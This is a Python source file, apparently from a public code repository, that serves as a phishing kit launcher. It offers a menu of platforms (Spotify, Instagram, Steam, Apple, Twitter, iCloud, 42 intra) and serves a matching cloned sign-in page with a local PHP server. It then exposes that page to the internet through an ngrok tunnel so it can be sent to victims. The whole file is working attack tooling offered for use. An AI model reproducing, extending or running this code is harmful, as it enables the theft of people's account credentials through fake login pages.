-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathrubx.py
101 lines (82 loc) · 2.29 KB
/
rubx.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import os
import signal
import subprocess
from pyngrok import ngrok
platform=""
ch,loop_count= 0,0
err_invalid = False
class colors:
BLACK = '\33[30m'
RED = '\33[31m'
GREEN = '\33[32m'
YELLOW = '\33[33m'
BLUE = '\33[34m'
VIOLET = '\33[35m'
BEIGE = '\33[36m'
WHITE = '\33[37m'
BLACKBG = '\33[40m'
REDBG = '\33[41m'
GREENBG = '\33[42m'
YELLOWBG = '\33[43m'
BLUEBG = '\33[44m'
VIOLETBG = '\33[45m'
BEIGEBG = '\33[46m'
WHITEBG = '\33[47m'
END = '\33[0m'
def tunneling():
tcp = ngrok.connect(8080,"tcp")
print(colors.GREEN+"here your ngrok address >> "+str(tcp)+colors.END)
input("")
def prepare(pfm,loop_count):
os.system("clear")
try:
if (pfm == "intra42"):
pfm = "intra42/signin.intra.42.fr/users"
print(colors.YELLOW+" ' Ctrl + C ' for back to menu \n")
print("System : "+colors.GREEN+"active \n"+colors.YELLOW+"Running : "+colors.GREEN+"localhost:8080 >>> {}".format(pfm)+colors.BLACK)
php = "php -S localhost:8080 -t sites/{} > /dev/null 2>log&".format(pfm)
if(loop_count < 1):
pro = subprocess.Popen(php, stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
else:
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
pro = subprocess.Popen(php, stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
loop_count += 1
tunneling()
except:
print(" ~ kill process")
try:
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
except:
pass
platforms = {
1:"spotify",
2:"instagram",
3:"steam",
4:"apple",
5:"twitter",
6:"icloud",
7:"intra42"
}
print_platforms ="""
{2} CHOOSE A PLATFORM :
{0} [CTRL + Z] {3} FOR QUIT
{0} [1] {1} SPOTIFY {0} [4] {1} APPLE
{0} [2] {1} INSTAGRAM {0} [5] {1} TWITTER
{0} [3] {1} STEAM {0} [6] {1} ICLOUD
{0} [7] {1} INTRA42
{3}""".format(colors.YELLOW,colors.WHITE,colors.BEIGE,colors.VIOLET)
while(True):
if(loop_count > 0):
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
check = False
os.system("clear")
print(print_platforms)
try:
if(err_invalid): print(colors.RED+"\nplease, enter a valid number ! \n"+colors.VIOLET)
ch,check = int(input(" >> ")),True
except: err_invalid = True
if(check):
for i in platforms:
if i == int(ch):
platform = platforms[int(ch)]
prepare(platform,loop_count)